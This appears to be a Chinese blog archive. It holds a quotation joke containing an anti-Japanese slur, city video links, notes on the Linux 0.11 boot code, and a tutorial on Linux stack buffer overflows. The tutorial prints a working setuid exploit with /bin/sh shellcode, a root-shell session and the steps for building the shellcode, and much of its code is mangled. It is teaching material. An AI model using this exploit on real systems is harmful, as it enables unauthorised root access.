这句名言出自谁口中?

看了,还不错,转过来

在一所著名大学里的历史课上,教授正在向来自各国的同学提问:“要生存还是要灭亡。这句名言出自谁的口中?”
  
     沉寂了半天之后,古田站起来说:“威廉·莎士比亚。”
  
    “很好,被誉为‘欧洲的良心’是指谁?”
  
    “罗曼·罗兰。”
  
    “完全正确,同学们,刚才回答问题的是位日本学生,可是作为欧洲国家的学生却答不出来,太遗憾了!”教授不无感慨的说道。
  
    “干死小日本!”突然有人发出一声喊叫。
  
    “谁!谁说的!”教授气得语音都颤抖了。
 ?br>    “杜鲁门说的。”约翰站了起来。
  
    “你以为自己在干什么?”教授生气的说道。
  
    “麦当娜说的。”杰克也站了起来。
  
    “这真叫人恶心,简直无法无天了。”教授浑身气得发抖。
  
    “乔治·布什说的。”斯蒂芬也坐不住了。
  
    课堂立刻陷入了混乱之中,所有的学生都开始议论纷纷,一些学生开始起哄:“耶!真***够劲。”
  
    “克林顿对莱温斯基说的。”玛丽毫无表情的接话道。
  
    教授愤怒得说不出话来,隔了一会,他大踏步的向门外走去,到门口时,他冷冷的看了所有人一眼:“我会回来的。”
  
    “阿诺德·施瓦辛格说的。”鲍勃终于插上话了。
  
    古田委屈的一摊手:“我没做什么坏事,为什么会这样?”
  
    “张国荣说的。”李小丽一脸崇拜的神情回答
  
    所有的学生都围成一个圈,汤姆有些垂头丧气:“该死,我们完了。”
  
    “希特勒说的。”伊汉诺娃立刻回答。
  
    赖特叹了口气:“今天将是一个很有意义的日子。”
  
    “本·拉登说的。”克瑞斯终于为自己能说出一个名字而得意。
  
    “这决非是我最得意的一天。”古田惭愧的说着。
  
    “托尼·布莱尔说的。”已经不知道谁在回答。
  
    这时校长和教授一起进来了,他脸色铁青,几乎是一字一顿的说道:“你们要为此付出代价!”
  
    “斯大林说的。”全班同学异口同声的回答

魅力城市视频

我的家乡,山西省长治市,被评为了全国10大魅力城市之一,这里有几个视频,请大家欣赏

My hometown, Chang Zhi ,Shan Xi province ,was appraised tobe one of the 10 most attractive cities in China ,here are some videos about my hometown:

中文版本 In Chinese
http://218.26.240.48/spdb/ZT/zgczhy.rm

中国魅力城市-长治(德语版) In German
http://218.26.240.48/spdb/ZT/sx_041130115528_sxpd.rm

中国魅力城市-长治(英语版) In English
http://218.26.240.48/spdb/ZT/sx_041130115342_sxpd.rm

[原创]setup.s分析

setup.s会将被bootsect.s读取到0x10000处的system模块移动到0x00000处,这样好象会把中断表给覆盖掉,文件执行到后来会加载中断描述符表,但是idt表却是这个样子的:

idt_48:
.word 0
.word 0,0

idt表的基地址居然还是0x00000,这里就搞不懂了,因为这个时候0x00000的地方已经是system模块了,所以在真正的重新设置idt表以前,如果出现异常,我不知道系统将会进行什么样的处理,这里是问题一

setup.s会读取大量的参数然后存到0x90000处,也就是说会覆盖bootsect.s,具体的参数分布书上44页有,这里有个问题是,系统会将 第一个硬盘的参数表读到0x90080处,然后再读取第二个硬盘的参数表到0x90090处,然后再去检测到底有没有第二个硬盘,如果没有再将 0x90090处的参数表清0,怪了,为什么不先检测有没有第二个硬盘,在去决定是否读取参数表到0x90090呢?非要反着来不成?

下面是我对保护模式的一点理解,不知是否正确,有错误欢迎提出:

在16位的实模式下的程序在内存中的布局和操作系统的是混在一起的,也就是说,cpu没有提供对操作系统的保护,这会出很多问题,32为保护模式下, cpu提供的很强大的功能来保护操作系统的代码不被侵犯,我们所要做的就是提供相应的数据,将相应的寄存器初始化,打开A20地址线,然后执行一个跳转指 令,cpu就会进入保护模式,对我们的程序进行保护,具体的各位可以在网上找到资料,其中一个方法就是设置gdt以及ldt来保护操作系统以及应用程序, gdt(大小限制在64k以内)也即全局描述符表里包含有全局描述符,每个全局描述符得大小为8字节,所以理论上,一个gdt一共可以有64K/8=8K 个全局描述符.其中三个是描述全局性的操作系统的代码段,数据段,其他的一个程序占用一个全局描述符.

系统怎么来确定要使用哪一个全局描述符呢?使用段选择子!这里是他的结构:

其中3-15字节是用来索引gdt来去定某一个全局描述符得,共13位,所以gdt最大长度限制在2^13=64K.但是不知道为什么在这里Linus只将gdt的长度设置为了2K,也就是为什么在
gdt_48:
.word 0x800 !这里为什么是0x800,而不是0xFFFF,难道就是因为现在的gdt是临时的,以后还有设置,所以只要够现在用就可以了??

.word 512+gdt,0x9 ! 这里由于setup.s是在0x90200处,所以要加上0x200(512)的偏移量。

然后就是为系统进入32为保护模式作准备了,这里就要先初始化gdt,由于现在还没有程序运行,所以只是用了三项(其实是两项),其中,第零项没有使用,第一项描述系统的代码段,第二项描述系统的数据段(堆栈段)。

全局表述符表:

gdt:
.word 0x0000 !第0个弃用
.word 0x0000
.word 0x0000
.word 0x0000

.word 0x07FF !第1个,第0个用了4个word,所以这里偏移量是0x08
.word 0x0000 !用来描述系统代码段
.word 0x9A00
.word 0x00C0

.word 0x07FF !第2个,偏移量是0x10,也就是16
.word 0x0000 !用来描述系统数据段
.word 0x9200
.word 0x00C0

这里是gdt的结构

这是,进入保护模式所要准备的数据已经够了,接下来就是加载gdt的基地址以及大小限制到专用寄存器gdtr,idt基地址以及大小限制到idtr,然后打开A20数据线,关于A20数据线,哈工大纯c板块上有很好的文章介绍,然后重新对8259进行编程(看见头大,没怎么看),设置状态字,然后执行
jmpi 0,8 !这里的8就是上面的段选择子的值,化为二进制为 0000,0000,0000,1000 这里的1就是第1个全局描述符,即系统代码段,就会去执行head.s

最好对这个时候内核内存布局有个印象,便于以后的理解

-------------------
数据段表述符
-------------------
代码段描述符
-------------------
-------------------0X90200
硬件参数
-------------------0X90000

head.s程序
--------------------0X00000

head.s 分析[原创]

2005-04-28 BY:LinuxRen
head.s就运行在32位保护模式下面了,这里是名副其实的内核了

GNU 的汇编直接数,比如 0x10,如果前面有$,即$0x10,则表示立即数,在16位实模式下,内存地址由段基地址左移四位加上段内偏移量组成,而在保护模式下,由段选择子 (逻辑地址的高16位 )(由段选择子选择的描述符所决定的段基地址不需要左移,直接加偏移地址就可以形成线性地址)和段内偏移量(逻辑地址的低16位)组成,这里是内存管理中 的段式管理,还有页式管理(以后再说),这里有张图片可以很好地说明段式管理:

如果仅仅是0x10,则表示内存的地址。

这张图片好像有个小问题,右上角的偏移量应该是32位的,这里很容易给人错觉好像偏移量就是逻辑地址的低16位,段选择子时逻辑地址的高16位,可以从intel的手册得到证实 其中的图5-2,呵呵,intel应该不会犯错吧

为什么既有段式内存管理,也有页式内存管理,我想大概是cpu设计的原因,如果cpu加电直接就可以进入32位,那么段式管理就应该报废了。也不知道现在的64位的cpu是怎么处理的,现在64微处理器的资料实在太少了。

head.s 第18行,movl $0x10, %eax 之后eax就相当于段选择子,与gdt表的地址进行运算,就可以定为一个全局描述符,在全局表述符中会给出对应段的段基址,再加上已知的段内 偏移量,就可以将一个逻辑地址转为一个线性地址,这里的0x10仅仅是段选择子。

然后call setup_idt, setup_idt代码在79行,就是将idt中的每一项都设置为指向同一个中断门ignore_int,即打印一段信息“Unknown interrupt”

在这里说一下idt,idt就是中断描述符表,和全剧描述符表是一个等级的,相应的中断描述符表项和全局描述符表项是对应的,中断门ignore_int是和全局描述符表项所表述的段一个等级的,只不过这里的不是一个段,而可以是一段代码,这样就应该容易理解了吧。

接 着call setup_gdt,gdt在前面已经临时设置过了,在这里要重新设置.这里将gdt还是设置成为含有256个全局描述符表项,第0个不用,第一个系统代 码段,第二个系统数据段,值分别是 0x00c09a0000000fff 0x00c09020000000fff,可以对照着张表来看看具体的意思:

这里将系统代码段和系统数据段的段长都设置成为了16M.

后面的252项都填充0,用于以后用户程序使用。

接下来就是检查数学协处理器,还有什么287/387,没看,跳过。

然后就是开启分页管理

这里的分页机制是专门为内核使用的,也就是说以后的应用程序并不适用这里的页表,而是在程序执行的时候自己自动加载自己的页表。

这里的分页比较简单,经过分页之后的物理地址是和分页前的线性地址相同的,这一点是非常重要的。因为在分页启动之前有一句话: pushl $_main
这里是将main函数的地址压栈,当分页启动之后要讲这个地址pop出来,并且跳到main去执行,系统就会跳到以前压入栈的main的地址经过分页映射后的地址去运行,如果物理地址和线性地址不一样的话,那么就会跳到错误的地方,但是这里不会。

[原创]内核引导启动程序分析

主要参考用书:《linux内核完全分析》
由于比较简单,所以先把bootsect.s看了一下,其实整个内核引导程序有三个,分别是bootsect.s,setup.s,head.s ,前两个都不属于严格意义上的kernel,只不过是对kernel的启动做一些准备,真正的内核是从head.s启动的,现在先分析 bootsect.s:

当你按机箱上的power on的时候,cup会自动去到bios中地址0xFFFF0处开始执行bios中的代码,除了会进行一些初始化工作,这段代码最主要的是将可启动设备的第 一个扇区(bootsect.s)(引导扇区,512字节)读到内存0x07c00处。

当bootsect.s执行时,它已经被读到了0x07c00处,首先它会将自己读到0x90000处,为什么要先读到0x7c00,再读到 0x90000,是由于bios被设置成了先读到0x7c00的地方,再度到0x90000是为了防止后来读入到0x10000处的system模块覆盖 掉bootsect.s。将自己读到0x90000处后先会设置一下堆栈(0x9000:0xff00),然后将setup.s读入到紧接着 bootsect的地方(0x90200),默认的是从软盘读取的(硬盘在当时估计是奢侈品),然后就是取相应磁盘(被当作软盘,写成了hard code)的参数,然后就是利用bios的0x10中断,ah=0x03,将一段话"Loading system..."打印到屏幕上。然后检测要使用哪个根文件系统设备(软盘或者硬盘),具体的方法是判断508,509字节处的根设备号是否被置为1.
问题一.508,509是什么时候设置的?

如果有硬盘的话,就将其保存,否则读取每磁道的扇区数来判断是什么类型的软盘(1.2M还是1.4M),也保存。
问题二.这里硬盘参数ROOT_DEV=0x306,意思是第二个硬盘的第一个分区,为什么是第二个硬盘?

问题三.在这之前的代码都是软盘启动的,是不是就是说,不管你有没有硬盘,都必须从软盘启动,如果不修改bootsect的代码的话

最后执行 jmpi 0,SETUPSEG,跳转到setup.s程序的开始处执行。

Linux下缓冲区溢出攻击的原理及对策

前言

从逻辑上讲进程的堆栈是由多 个堆栈帧构成的,其中每个堆栈帧都对应一个函数调用。当函数调用发生时,新的堆栈帧被压入堆栈;当函数返回时,相应的堆 栈帧从堆栈中弹出。尽管堆栈帧结构的引入为在高级语言中实现函数或过程这样的概念提供了直接的硬件支持,但是由于将函数返回地址这样的重要数据保存在程序 员可见的堆栈中,因此也给系统安全带来了极大的隐患。

历史上最著名的缓冲区溢出攻击可能要算是1988年11月2日的Morris Worm所携带的攻击代码了。这个因特网蠕虫利用了fingerd程序的缓冲区溢出漏洞,给用户带来了很大危害。此后,越来越多的缓冲区溢出漏洞被发现。 从bind、wu-ftpd、telnetd、apache等常用服务程序,到Microsoft、Oracle等软件厂商提供的应用程序,都存在着似乎 永远也弥补不完的缓冲区溢出漏洞。

根据绿盟科技提供的漏洞报告,2002年共发现各种操作系统和应用程序的漏洞1830个,其中缓冲区溢出漏洞有432个,占总数的23.6%. 而绿盟科技评出的2002年严重程度、影响范围最大的十个安全漏洞中,和缓冲区溢出相关的就有6个。

在读者阅读本文之前有一点需要说明,文中所有示例程序的编译运行环境为gcc 2.7.2.3以及bash 1.14.7,如果读者不清楚自己所使用的编译运行环境可以通过以下命令查看:

$ gcc -vReading specs from /usr/lib/gcc-lib/i386-redhat-linux/2.7.2.3/specsgcc version 2.7.2.3$ rpm -qf /bin/shbash-1.14.7-16


如果读者使用的是较高版本的gcc或bash的话,运行文中示例程序的结果可能会与这里给出的结果不尽相符,具体原因将在相应章节中做出解释。

Linux下缓冲区溢出攻击实例

为了引起读者的兴趣,我们不妨先来看一个Linux下的缓冲区溢出攻击实例。

#include #include 


extern char **environ;


int main(int argc, char **argv){ char large_string[128]; long *long_ptr = (long *) large_string; int i; char shellcode[] = "\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b" "\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd" "\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh";


for (i = 0; i < 32; i++) *(long_ptr + i) = (int) strtoul(argv[2], NULL, 16); for (i = 0; i < (int) strlen(shellcode); i++) large_string[i] = shellcode[i];


setenv("KIRIKA", large_string, 1); execle(argv[1], argv[1], NULL, environ);


return 0;}

图1 攻击程序exe.c

#include #include 


int main(int argc, char **argv){ char buffer[96];


printf("- %p -\\n", &buffer); strcpy(buffer, getenv("KIRIKA"));


return 0;}

图2 攻击对象toto.c

将上面两个程序分别编译为可执行程序,并且将toto改为属主为root的setuid程序:

$ gcc exe.c -o exe$ gcc toto.c -o toto$ suPassword:# chown root.root toto# chmod +s toto# ls -l exe toto-rwxr-xr-x     1 wy       os           11871 Sep 28 20:20 exe*-rwsr-sr-x   1 root     root         11269 Sep 28 20:20 toto*# exit


OK,看看接下来会发生什么。首先别忘了用whoami命令验证一下我们现在的身份。其实Linux继承了UNIX的一个习惯,即普通用户的命令提示符是以$开始的,而超级用户的命令提示符是以#开始的。

$ whoamiwy$ ./exe ./toto 0xbfffffff- 0xbffffc38 -Segmentation fault$ ./exe ./toto 0xbffffc38- 0xbffffc38 -bash# whoamirootbash#

第 一次一般不会成功,但是我们可以准确得知系统的漏洞所在——0xbffffc38,第二次必然一击毙命。当我们在新创建的shell下再次执行 whoami命令时,我们的身份已经是root了!由于在所有UNIX系统下黑客攻击的最高目标就是对root权限的追求,因此可以说系统已经被攻破了。

这 里我们模拟了一次Linux下缓冲区溢出攻击的典型案例。toto的属主为root,并且具有setuid属性,通常这种程序是缓冲区溢出的典型 攻击目标。普通用户wy通过其含有恶意攻击代码的程序exe向具有缺陷的toto发动了一次缓冲区溢出攻击,并由此获得了系统的root权限。有一点需要 说明的是,如果读者使用的是较高版本的bash的话,即使通过缓冲区溢出攻击exe得到了一个新的shell,在看到whoami命令的结果后您可能会发 现您的权限并没有改变,具体原因我们将在本文最后一节做出详细的解释。不过为了一睹为快,您可以先使用本文代码包中所带的exe_pro.c作为攻击程序,而不是图1中的exe.c。

Linux下进程地址空间的布局及堆栈帧的结构

要想了解Linux下缓冲区溢出攻击的原理,我们必须首先掌握Linux下进程地址空间的布局以及堆栈帧的结构。

任 何一个程序通常都包括代码段和数据段,这些代码和数据本身都是静态的。程序要想运行,首先要由操作系统负责为其创建进程,并在进程的虚拟地址空间 中为其代码段和数据段建立映射。光有代码段和数据段是不够的,进程在运行过程中还要有其动态环境,其中最重要的就是堆栈。图3所示为Linux下进程的地 址空间布局:


图3 Linux下进程地址空间的布局

首 先,execve(2)会负责为进程代码段和数据段建立映射,真正将代码段和数据段的内容读入内存是由系统的缺页异常处理程序按需完成的。另外, execve(2)还会将bss段清零,这就是为什么未赋初值的全局变量以及static变量其初值为零的原因。进程用户空间的最高位置是用来存放程序运 行时的命令行参数及环境变量的,在这段地址空间的下方和bss段的上方还留有一个很大的空洞,而作为进程动态运行环境的堆栈和堆就栖身其中,其中堆栈向下 伸展,堆向上伸展。

知道了堆栈在进程地址空间中的位置,我们再来看一看堆栈中都存放了什么。相信读者对C语言中的函数这样的概念都已经 很熟悉了,实际上堆栈中存放的就 是与每个函数对应的堆栈帧。当函数调用发生时,新的堆栈帧被压入堆栈;当函数返回时,相应的堆栈帧从堆栈中弹出。典型的堆栈帧结构如图4所示。

堆 栈帧的顶部为函数的实参,下面是函数的返回地址以及前一个堆栈帧的指针,最下面是分配给函数的局部变量使用的空间。一个堆栈帧通常都有两个指针, 其中一个称为堆栈帧指针,另一个称为栈顶指针。前者所指向的位置是固定的,而后者所指向的位置在函数的运行过程中可变。因此,在函数中访问实参和局部变量 时都是以堆栈帧指针为基址,再加上一个偏移。对照图4可知,实参的偏移为正,局部变量的偏移为负。


图4 典型的堆栈帧结构

介绍了堆栈帧的结构,我们再来看一下在Intel i386体系结构上堆栈帧是如何实现的。图5和图6分别是一个简单的C程序及其编译后生成的汇编程序。

int function(int a, int b, int c){      char buffer[14];      int     sum;      sum = a + b + c;      return sum;}


void main(){ int i; i = function(1,2,3);}

图5 一个简单的C程序example1.c

1    .file   "example1.c"2     .version    "01.01"3 gcc2_compiled.:4 .text5     .align 46 .globl function7     .type    function,@function8 function:9     pushl %ebp10     movl %esp,%ebp11     subl $20,%esp12     movl 8(%ebp),%eax13     addl 12(%ebp),%eax14     movl 16(%ebp),%edx15     addl %eax,%edx16     movl %edx,-20(%ebp)17     movl -20(%ebp),%eax18     jmp .L119     .align 420 .L1:21     leave22     ret23 .Lfe1:24     .size    function,.Lfe1-function25     .align 426 .globl main27     .type    main,@function28 main:29     pushl %ebp30 movl %esp,%ebp31     subl $4,%esp32     pushl $333     pushl $234     pushl $135     call function36     addl $12,%esp37     movl %eax,%eax38     movl %eax,-4(%ebp)39 .L2:40     leave41     ret42 .Lfe2:43     .size    main,.Lfe2-main44     .ident  "GCC: (GNU) 2.7.2.3"

图6 example1.c编译后生成的汇编程序example1.s

这 里我们着重关心一下与函数function对应的堆栈帧形成和销毁的过程。从图5中可以看到,function是在main中被调用的,三个实参 的值分别为1、2、3。由于C语言中函数传参遵循反向压栈顺序,所以在图6中32至34行三个实参从右向左依次被压入堆栈。接下来35行的call指令除 了将控制转移到function之外,还要将call的下一条指令addl的地址,也就是function函数的返回地址压入堆栈。下面就进入 function函数了,首先在第9行将main函数的堆栈帧指针ebp保存在堆栈中并在第10行将当前的栈顶指针esp保存在堆栈帧指针ebp中,最后 在第11行为function函数的局部变量buffer[14]和sum在堆栈中分配空间。至此,函数function的堆栈帧就构建完成了,其结构如 图7所示。


图7 函数function的堆栈帧

读 者不妨回过头去与图4对比一下。这里有几点需要说明。首先,在Intel i386体系结构下,堆栈帧指针的角色是由ebp扮演的,而栈顶指针的角色是由esp扮演的。另外,函数function的局部变量buffer[14] 由14个字符组成,其大小按说应为14字节,但是在堆栈帧中却为其分配了16个字节。这是时间效率和空间效率之间的一种折衷,因为Intel i386是32位的处理器,其每次内存访问都必须是4字节对齐的,而高30位地址相同的4个字节就构成了一个机器字。因此,如果为了填补buffer [14]留下的两个字节而将sum分配在两个不同的机器字中,那么每次访问sum就需要两次内存操作,这显然是无法接受的。还有一点需要说明的是,正如我 们在本文前言中所指出的,如果读者使用的是较高版本的gcc的话,您所看到的函数function对应的堆栈帧可能和图7所示有所不同。上面已经讲过,为 函数function的局部变量buffer[14]和sum在堆栈中分配空间是通过在图6中第11行对esp进行减法操作完成的,而sub指令中的20 正是这里两个局部变量所需的存储空间大小。但是在较高版本的gcc中,sub指令中出现的数字可能不是20,而是一个更大的数字。应该说这与优化编译技术 有关,在较高版本的gcc中为了有效运用目前流行的各种优化编译技术,通常需要在每个函数的堆栈帧中留出一定额外的空间。

下面我们再来 看一下在函数function中是如何将a、b、c的和赋给sum的。前面已经提过,在函数中访问实参和局部变量时都是以堆栈帧指针为 基址,再加上一个偏移,而Intel i386体系结构下的堆栈帧指针就是ebp,为了清楚起见,我们在图7中标出了堆栈帧中所有成分相对于堆栈帧指针ebp的偏移。这下图6中12至16的计 算就一目了然了,8(%ebp)、12(%ebp)、16(%ebp)和-20(%ebp)分别是实参a、b、c和局部变量sum的地址,几个简单的 add指令和mov指令执行后sum中便是a、b、c三者之和了。另外,在gcc编译生成的汇编程序中函数的返回结果是通过eax传递的,因此在图6中第 17行将sum的值拷贝到eax中。

最后,我们再来看一下函数function执行完之后与其对应的堆栈帧是如何弹出堆栈的。图6中第 21行的leave指令将堆栈帧指针ebp拷贝到 esp中,于是在堆栈帧中为局部变量buffer[14]和sum分配的空间就被释放了;除此之外,leave指令还有一个功能,就是从堆栈中弹出一个机 器字并将其存放到ebp中,这样ebp就被恢复为main函数的堆栈帧指针了。第22行的ret指令再次从堆栈中弹出一个机器字并将其存放到指令指针 eip中,这样控制就返回到了第36行main函数中的addl指令处。addl指令将栈顶指针esp加上12,于是当初调用函数function之前压 入堆栈的三个实参所占用的堆栈空间也被释放掉了。至此,函数function的堆栈帧就被完全销毁了。前面刚刚提到过,在gcc编译生成的汇编程序中通过 eax传递函数的返回结果,因此图6中第38行将函数function的返回结果保存在了main函数的局部变量i中。

Linux下缓冲区溢出攻击的原理

明白了Linux下进程地址空间的布局以及堆栈帧的结构,我们再来看一个有趣的例子。

1 int function(int a, int b, int c) {2     char buffer[14];3     int sum;4     int *ret;56     ret = buffer + 20;7     (*ret) += 10;8     sum = a + b + c;9     return sum;10 }1112 void main() {13     int x;1415     x = 0;16     function(1,2,3);17     x = 1;18     printf("%d\\n",x);19 }

图8 一个奇妙的程序example2.c

在main 函数中,局部变量x的初值首先被赋为0,然后调用与x毫无关系的function函数,最后将x的值改为1并打印出来。结果是多少呢,如 果我告诉你是0你相信吗?闲话少说,还是赶快来看看函数function都动了哪些手脚吧。这里的function函数与图5中的function相比只 是多了一个指针变量ret以及两条对ret进行操作的语句,就是它们使得main函数最后打印的结果变成了0。对照图7可知,地址buffer + 20处保存的正是函数function的返回地址,第7行的语句将函数function的返回地址加了10。这样会达到什么效果呢?看一下main函数对 应的汇编程序就一目了然了。

$ gdb example2(gdb) disassemble mainDump of assembler code for function main:0x804832c :       push   %ebp0x804832d :     mov    %esp,%ebp0x804832f :     sub    $0x4,%esp0x8048332 :     movl   $0x0,0xfffffffc(%ebp)0x8048339 :    push   $0x30x804833b :    push   $0x20x804833d :    push   $0x10x804833f :    call   0x80482f8 0x8048344 :    add    $0xc,%esp0x8048347 :    movl   $0x1,0xfffffffc(%ebp)0x804834e :    mov    0xfffffffc(%ebp),%eax0x8048351 :    push   %eax0x8048352 :    push   $0x80483b80x8048357 :    call   0x8048284 0x804835c :    add    $0x8,%esp0x804835f :    leave0x8048360 :    ret0x8048361 :    lea    0x0(%esi),%esiEnd of assembler dump.

图9 example2.c中main函数对应的汇编程序

地 址为0x804833f的call指令会将0x8048344压入堆栈作为函数function的返回地址,而图8中第7行语句的作用就是将 0x8048344加10从而变成了0x804834e。这么一改当函数function返回时地址为0x8048347的mov指令就被跳过了,而这条 mov指令的作用正是用来将x的值改为1。既然x的值没有改变,我们打印看到的结果就必然是其初值0了。

当然,图8所示只是一个示例性 的程序,通过修改保存在堆栈帧中的函数的返回地址,我们改变了程序正常的控制流。图8中程序的运行结果可能会使很多读 者感到新奇,但是如果函数的返回地址被修改为指向一段精心安排好的恶意代码,那时你又会做何感想呢?缓冲区溢出攻击正是利用了在某些体系结构下函数的返回 地址被保存在程序员可见的堆栈中这一缺陷,修改函数的返回地址,使得一段精心安排好的恶意代码在函数返回时得以执行,从而达到危害系统安全的目的。

说 到缓冲区溢出就不能不提shellcode,shellcode读者已经在图1中见过了,其作用就是生成一个shell。下面我们就来一步步看一 下这段令人眼花缭乱的程序是如何得来的。首先要说明一下,Linux下的系统调用都是通过int $0x80中断实现的。在调用int $0x80之前,eax中保存了系统调用号,而系统调用的参数则保存在其它寄存器中。图10所示是直接利用系统调用实现的Hello World程序。

#include 


int errno;


_syscall3(int, write, int, fd, char *, data, int, len);


_syscall1(int, exit, int, status);


_start(){ write(0, "Hello world!\\n", 13); exit(0);}

图10 直接利用系统调用实现的Hello World程序hello.c

将其编译链接生成可执行程序hello:

$ gcc -c hello.c$ ld hello.o -o hello$ ./helloHello world!$ ls -l hello-rwxr-xr-x    1 wy       os           1188 Sep 29 17:31 hello*


有 兴趣的读者可以将这个hello的大小和我们当初在第一节C语言课上学过的Hello World程序的大小比较一下,看看能不能用C语言写出更小的Hello World程序。图10中的_syscall3和_syscall1都是定义于/usr/include/asm/unistd.h中的宏,该文件中定义 了以__NR_开头的各种系统调用的所对应的系统调用号以及_syscall0到_syscall6六个宏,分别用于参数个数为0到6的系统调用。由此可 知,Linux系统中系统调用所允许的最大参数个数就是6个,比如mmap(2)。另外,仔细阅读syscall0到_syscall6六个宏的定义不难 发现,系统调用号是存放在寄存器eax中的,而系统调用可能会用到的6个参数依次存放在寄存器ebx、ecx、edx、esi、edi和ebp中。

清楚了系统调用的使用规则,我先来看一下如何在Linux下生成一个shell。应该说这是非常简单的任务,使用execve(2)系统调用即可,如图11所示。

#include 


int main(){ char *name[2];


name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); _exit(0);}

图11 shellcode.c在Linux下生成一个shell

在shellcode.c 中一共用到了两个系统调用,分别是execve(2)和_exit(2)。查看 /usr/include/asm/unistd.h文件可以得知,与其相应的系统调用号__NR_execve和__NR_exit分别为11和1。按 照前面刚刚讲过的系统调用规则,在Linux下生成一个shell并结束退出需要以下步骤:

  • 在内存中存放一个以'\'结束的字符串"/bin/sh";
  • 将字符串"/bin/sh"的地址保存在内存中的某个机器字中,并且后面紧接一个值为0的机器字,这里相当于设置好了图11中name[2]中的两个指针;
  • 将execve(2)的系统调用号11装入eax寄存器;
  • 将字符串"/bin/sh"的地址装入ebx寄存器;
  • 将第2步中设好的字符串"/bin/sh"的地址的地址装入ecx寄存器;
  • 将第2步中设好的值为0的机器字的地址装入edx寄存器;
  • 执行int $0x80,这里相当于调用execve(2);
  • 将_exit(2)的系统调用号1装入eax寄存器;
  • 将退出码0装入ebx寄存器;
  • 执行int $0x80,这里相当于调用_exit(2)。

于是我们就得到了图12所示的汇编程序。

1 void main()2 {3  __asm__("4    jmp     1f5  2:  popl    %esi6    movl    %esi,0x8(%esi)7    movb    $0x0,0x7(%esi)8    movl    $0x0,0xc(%esi)9    movl    $0xb,%eax10    movl    %esi,%ebx11    leal    0x8(%esi),%ecx12    leal    0xc(%esi),%edx13    int     $0x8014    movl    $0x1, %eax15    movl    $0x0, %ebx16    int     $0x8017  1:  call    2b18    .string \\"/bin/sh\\"19  ");20 }

图12 使用execve(2)和_exit(2)系统调用生成shell的汇编程序shellcodeasm.c

这 里第4行的jmp指令和第17行的call指令使用的都是IP相对寻址方式,第14行至第16行对应于_exit(2)系统调用,由于它比较简 单,我们着重看一下调用execve(2)的过程。首先第4行的jmp指令执行之后控制就转移到了第17行的call指令处,在call指令的执行过程中 除了将控制转移到第5行的pop指令外,还会将其下一条指令的地址压入堆栈。然而由图12可知,call指令后面并没有后续的指令,而是存放了字符串 "/bin/sh",于是实际被压入堆栈的便成了字符串"/bin/sh"的地址。第5行的pop指令将刚刚压入堆栈的字符串地址弹出到esi寄存器中。 接下来的三条指令首先将esi中的字符串地址保存在字符串"/bin/sh"之后的机器字中,然后又在字符串"/bin/sh"的结尾补了个'\', 最后将0写入内存中合适的位置。第9行至第12行按图13所示正确设置好了寄存器eax、ebx、ecx和edx的值,在第13行就可以调用execve (2)了。但是在编译shellcodeasm.c之后,你会发现程序无法运行。原因就在于图13中所示的所有数据都存放在代码段中,而在Linux下存 放代码的页面是不可写的,于是当我们试图使用图12中第6行的mov指令进行写操作时,页面异常处理程序会向运行我们程序的进程发送一个SIGSEGV信 号,这样我们的终端上便会出现Segmentation fault的提示信息。


图13调用execve(2)之前各寄存器的设置

解 决的办法很简单,既然不能对代码段进行写操作,我们就把图12中的代码挪到可写的数据段或堆栈段中。可是一段可执行的代码在数据段中应该怎么表示 呢?其实,内存中存放着的无非是0和1这样的比特,当我们的程序将其用作代码时这些比特就成了代码,而当我们的程序将其用作数据时这些比特又成了数据。我 们先来看一下图12中的代码在内存中是如何存放的,通过gdb中的x命令可以很容易的做到这一点,如图14所示。

$ gdb shellcodeasm(gdb) disassemble mainDump of assembler code for function main:0x80482c4 :       push   %ebp0x80482c5 :     mov    %esp,%ebp0x80482c7 :     jmp    0x80482f3 0x80482c9 :     pop    %esi0x80482ca :     mov    %esi,0x8(%esi)0x80482cd :     movb   $0x0,0x7(%esi)0x80482d1 :    movl   $0x0,0xc(%esi)0x80482d8 :    mov    $0xb,%eax0x80482dd :    mov    %esi,%ebx0x80482df :    lea    0x8(%esi),%ecx0x80482e2 :    lea    0xc(%esi),%edx0x80482e5 :    int    $0x800x80482e7 :    mov    $0x1,%eax0x80482ec :    mov    $0x0,%ebx0x80482f1 :    int    $0x800x80482f3 :    call   0x80482c9 0x80482f8 :    das0x80482f9 :    bound  %ebp,0x6e(%ecx)0x80482fc :    das0x80482fd :    jae    0x80483670x80482ff :    add    %cl,%cl0x8048301 :    ret0x8048302 :    mov    %esi,%esiEnd of assembler dump.(gdb) x /49xb 0x80482c70x80482c7 :  0xeb 0x2a 0x5e 0x89 0x76 0x08 0xc6 0x460x80482cf :  0x07 0x00 0xc7 0x46 0x0c 0x00 0x00 0x000x80482d7 :  0x00 0xb8 0x0b 0x00 0x00 0x00 0x89 0xf30x80482df :  0x8d 0x4e 0x08 0x8d 0x56 0x0c 0xcd 0x800x80482e7 :  0xb8 0x01 0x00 0x00 0x00 0xbb 0x00 0x000x80482ef :  0x00 0x00 0xcd 0x80 0xe8 0xd1 0xff 0xff0x80482f7 :  0xff


图14 通过gdb中的x命令查看图12中的代码在内存中对应的数据

从jmp 指令的起始地址0x80482c7到call指令的结束地址0x80482f8,一共49个字节。起始地址为0x80482f8的8个字节 的内存单元中实际存放的是字符串"/bin/sh",因此我们在那里看到了几条奇怪的指令。至此,我们的shellcode已经初具雏形了,但是还有几处 需要改进。首先,将来我们要通过strcpy(3)这种存在安全隐患的函数将上面的代码拷贝到某个内存缓冲区中,而strcpy(3)在遇到内容为'\ '的字节时就会停止拷贝。然而从图14中可以看到,我们的代码中有很多这样的'\'字节,因此需要将它们全部去掉。另外,某些指令的长度可以缩 减,以使得我们的shellcode更加精简。按照图15所列的改进方案,我们便得到了图16中最终的shellcode。

存在问题的指令          改进后的指令movb $0x0,0x7(%esi)     xorl %eax,%eaxmolv $0x0,0xc(%esi)     movb %eax,0x7(%esi)                      movl %eax,0xc(%esi)


movl $0xb,%eax movb $0xb,%al


movl $0x1, %eax xorl %ebx,%ebxmovl $0x0, %ebx movl %ebx,%eax inc %eax

图15 shellcode的改进方案

